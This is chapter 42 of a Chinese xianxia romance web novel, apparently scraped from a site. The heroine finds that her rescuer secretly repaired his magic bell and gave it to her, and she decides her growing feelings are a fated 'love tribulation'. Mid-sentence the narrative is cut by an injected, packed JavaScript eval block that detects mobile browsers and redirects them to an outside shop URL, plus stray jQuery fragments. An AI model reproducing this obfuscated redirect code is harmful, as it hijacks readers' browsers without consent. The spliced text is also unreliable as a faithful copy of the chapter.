42. 第42章 浅相思

作品:《化神期大佬是我的药鼎

    自那日与蓝澄钰分别后,已过了半月。


    这半月以来,清絮都被关在自己的洞府内,没有秦玄的命令,不得随意外出。


    不光是她受罚,师兄姐弟四人皆是被罚禁闭。禁闭的时间倒是不长,只一月而已。


    清絮百无聊赖地看着左腕间的符印,不知是不是她的错觉,总觉得符印变得更小了些。


    她抬起手,抚了抚那道符印,脑海中不自觉地浮现出宴望之那张清冷自持的脸。


    他目色淡然的样子,唇角微扬的样子,眉宇间笼着一层寒霜的样子,…每一次在危急关头出现救她的样子。


    心头轻轻一颤。


    他自天光之中而来,莹白的灵光环绕着他,那一身素白清绝的身姿宛若神祗降世。


    她猛然晃了晃脑袋,抿着唇坐直了身体,垂眸仔细看着那道二人手腕间皆有的符印。


    最近也不知是什么样的原因,只要思绪放空,便不自觉地开始忆起他。


    想来是太过愧疚的原因。


    毕竟五行铃那样厉害的法宝,被她搞得裂了一道那么大的痕迹。


    她当真愧疚至极,以至于脑海中时不时浮现出它主人的那张脸。


    其实做人太善良了也不好,容易心生愧疚。


    唉。


    清絮将那张‘修补单’幻出,只见清单上列出的材料均是上品炼器的材料,例如赤焰晶、紫玄钢、扶桑木…等等数十种。


    她一手支在桌上托住脸腮,鼓起嘴呼呼朝着清单吹了两口气,将那清单吹飞后又召回来,又再次吹起…


    宴望之竟然还想让她用功德值去换这些材料,先不说她有没有这么多功德值…便是有,天蓬宗也不见得有这些修士必争的宝物。


    他倒也真是的,这一行他们相处得不是挺好的吗?怎么临走时连个信也不留下呢。


    清絮将纸单一把拍在灵案上,那他到底是要让她赔,还是不让她赔呢?!


    她忽而想到什么,又泄了气,身子一软,往后瘫在蒲团上。


    不让她赔就不让她赔!她本来就不想赔,现在倒是省了不少灵石。


    倒是她赚了。


    视线又重新落在那由赤红转为黛青、复又转回赤红的符印上,也不知宴望之的那道符印是否与她一样,变了几次颜色。


    烦死了。


    她身体重新坐好,将腿一盘,指尖便泛起灵光,欲以修炼来静下自己的心。


    可三清道祖似乎不欲让她清净,耳畔又很快响起陌生的声音。


    门外响起“笃、笃、笃”的几声。


    “兰师姐——兰师姐!您在里面吗?”声音十足小心翼翼。


    清絮本就心烦,一听问她在不在里面就更烦了。她被师父关着禁闭,不在洞府里能在哪里?


    “谁啊?”她声音带着明显的不耐。


    门外那人闻声,倒是不好意思道:“兰师姐,我是赵戈。”


    他又讨好地嘿嘿笑了几声,“这不是听闻您回宗的消息,我就赶忙给您赔罪来了。”


    赔罪?


    清絮在脑海里搜索了许久,才想起赵戈是谁。


    原来是下山那日被她踹了几脚的练气外门弟子,现在既然唤她师姐,想来是已筑基成功了。


    “改日再来,我正闭关呢。”


    赵戈在门外老实道:“兰师姐,我是向秦师伯请示后才过来的。”意思是,他知晓她是被禁闭,不是主动闭关。


    清絮噎了几息,师父也真是的,丢脸的事就不要往外讲了啊。


    半晌没有声音,赵戈又在门外道:“兰师姐?”


    清絮指尖一挥,厢房的门便朝内打开,“进来吧。”


    赵戈怀中捧着几只锦盒和几朵花进入房中。


    清絮不露声色地打量着他,赵戈也算有点本事,这点时日就筑基成功了。


    他将带来赔罪的礼物放在灵案上,随即坐在清絮对面的蒲团上,见她韶颜丽容,恭维道:“一月不见,兰师姐越发漂亮了。”


    “行了。”清絮赶紧打断他,“有话直说。”


    赵戈这才正色道:“之前师弟不懂事,唐突了师姐,还望师姐莫要记挂在心。”


    他将灵案上的鲜花与锦盒朝清絮的方向推了推,“这些都是师弟寻来向兰师姐赔罪的。”


    清絮垂眼偷瞟一眼灵案,随即收回眼,义正言辞道:“罢了。这次便原谅你了。”


    赵戈见她松嘴,这才真的缓了口气,“师姐海量!”


    “你也就是遇见了本师姐,若是别的人,你胆敢这样编排,怕是被人揍得连回宗的路都找不着!”


    赵戈赔笑道:“是是是,还得是师姐海量,原谅我之前无礼的行为。”


    既然赔罪的事已说完,她也接受了他赔罪的礼物,此事便算真的翻篇。


    清絮:“没别的事就回去吧,我还要闭关。”


    赵戈倒没什么别的事,于是打算再奉承几句便离去。


    眼珠一瞟,便瞧见了她头上通透小巧的玉簪。


    “师姐这根玉簪当真精巧,上面这枚铃铛也是玲珑至极。也就是这样的簪子才能配得上——”赵戈的恭维的话还未说完,便被她立即打断。


    “铃铛?”她身子微向前倾斜,歪着脑袋,声音稍稍严肃了些。


    赵戈愣了下,瞧着她左侧发髻旁簪着的玉簪,簪尾确有一枚极小的铃铛,他没看错呀?


    他心中狐疑,总不能是拍到马屁股上了吧?他此次前来就是赔罪的,可不能又重新将人得罪了。


    他认真看了看,确认没看错后又说道:


    “是,有一枚精致玲珑的铃铛。这样的品相灵气——”赵戈还在不遗余力的夸赞她,清絮却手疾眼快地将两根玉簪都拔了下来。


    “唯有师姐才能配得上……”随着清絮仔细看向玉簪的神情,随着清絮愈来愈敛的眉眼,愈来愈凛然的神情,赵戈的声音也愈发的小。


    她的那一根玉簪早就被店小二毁了,发间一直都只簪着一根。


    只有在幽梦门的时候,偶尔为了快速驱动它,方便藏匿时才会将其变幻为玉簪的模样。


    可现在她从发髻上拿下了两根玉簪。


    心头密密麻麻地漫开了不知名的酸,一点悸动刚起便被涩意裹住。


    清絮指尖摩挲着那根五行铃幻作的发簪,心中五味杂陈,一时不知作何情绪。


    只见她不言不语,神情端肃,一味拿手抚摸着玉簪,完全没了平日里娇俏灵动的样子。


    赵戈见状不妙,是他那句话说错了?完全没有头绪…


    他欲溜之大吉,难道是兰师姐根本不喜欢这根玉簪吗?


    赵戈也不敢再胡乱夸赞,赶忙起身俯身道别:“往后还要多承蒙师姐照拂,只是今日时辰也不早了,师弟就不打扰您清修了,这便告辞。”


    清絮呆呆地看着那枚玉簪,“嗯”了一声。


    待赵戈欲将门带上之时,清絮的衣袖飞舞,一道雷火符祭出,浮在赵戈身前。


    “这是祝贺你进阶筑基的礼物,收下吧。”


    赵戈喜出望外,这可比他送的礼贵重多了。他收下后,惊喜的道谢:“多谢兰师姐惠拂。”随后便转身出去,轻轻将门合上。


    外人的灵息已去。


    清絮指尖轻晃,玉质发簪便恢复了它本来的模样。


    一枚半透明的玉质铃铛。


    她仔细地瞧着五行铃,铃身上原本被她弄坏的痕迹已然不见,现在的样子与她初见它时没什么两样。


    灵气内敛,宝辉莹莹,一探便知是极上等法器。


    她的心中闷闷的,心头萦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314780|197955||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绕着一丝说不出的滞涩。


    宴望之这是什么意思?


    不是说好要让她用功德值换取材料来修补它吗?


    他是何时偷偷将它修补,又是何时偷偷将它幻为玉簪戴在她发髻上的?


    他这是将五行铃送与她的意思吗?


    清絮的眼眸垂着,趴在灵案上时不时摆弄一下五行铃,铃身发出清脆好听的叮铛声。


    这样厉害的宝物,竟是说送就送了。


    他对所有人都这样大方吗?


    如果那日救了他的人是别人,他也会像如今这样大方吗?


    她手轻抬,自那玄色储物袋中又飞出几样宝物,规矩地摆放在灵案上。


    炼兽契血牌、煞妖玲珑塔、几十枚中品灵石、幽烬丹、瞬移符、遁行符、隐身符。


    其中最厉害的便是前两样法宝。


    炼兽契血牌不仅可作攻击,还可将灵兽养在其中,温灵养息。此时的白米就正在其中沉睡。


    这几样都是焚帝的遗物。


    宴望之一样没拿,全数给她了。


    甚至还贴心地替她将那些邪祟之气都清除了,她可以随时使用它们。


    若说之前遇上的敌人,太过低级,所以储物袋中的东西他看不上,没有收纳那些法器。


    可这焚帝与他一样的修为,用的宝物就算没有宴望之的好,理应也差不到哪里去。


    可他为什么一个也不要呢?


    他为什么要对她这么好?难道是有什么目的吗?


    清絮趴在灵案上的脑袋晃了晃,抿着唇不知在想什么。


    随后捏着五行铃的指尖也晃了晃,又发出一道清脆的叮铛响声。


    随着她晃动的速度越来越快,铃声也越来越急躁。


    可在这样急躁的声响当中,她的脑海中却依旧浮现着宴望之的身影。


    那张略带少年气息的脸,展开笑意时的样子…


    清絮猛然将上半身立起,摊开手,眼神直直地盯着手中的五行铃。


    这太不妙了。


    简直是大事不妙!


    她…她她该不会是喜欢上宴望之了吧?


    饶是他确实有几分颜色,饶是他确实为人大方,饶是他确实有点实力,饶是他确实于她有救命之恩,饶是他…


    不对。


    这都什么跟什么呀。


    清絮捧着自己的脸哀嚎一声,她还没有找到回家的路,怎么三清道祖就在她的命运中安排了这样一个绊脚石?!


    遇上宴望之这样的人,没有好感是不可能的吧?


    毕竟光是他那一张脸,就已然称得上秀色可餐。


    再要说他的为人,这一路上,哪怕是冷着张脸,手中做事的动作却从来没有停下过…对她的要求可谓是有求必应。


    这…


    清絮那双状似小鹿的眼睛瞪得圆圆的,盯在五行铃上,仿佛要透过它看见别的什么。


    这不是三清道祖给她安排的劫难是什么?


    这一定是,绝对是,肯定是传说中的情劫!


    这是情劫!


    清絮的脸微微发烫,捂着脸感受着心脏砰砰的跳动声。


    她勘破天机了!


    清絮拍拍自己的胸脯,暗自安抚着自己。


    不可声张,不可声张。


    这就是三清道祖给她安排的劫难。


    只要她安安稳稳地度过此劫,一定可以顺利地找到古传送阵,回到家人身边。


    呼。


    还好,还好她悟道了。


    差点被那张脸迷了心魂,当真可恶。


    只是心中确有一些愧疚,白拿了他那么些好处,总是有点心虚的。


    既是三清道祖安排的情劫,那宴望之一定还会再出现的,她定要稳扎稳打,安稳度过才行。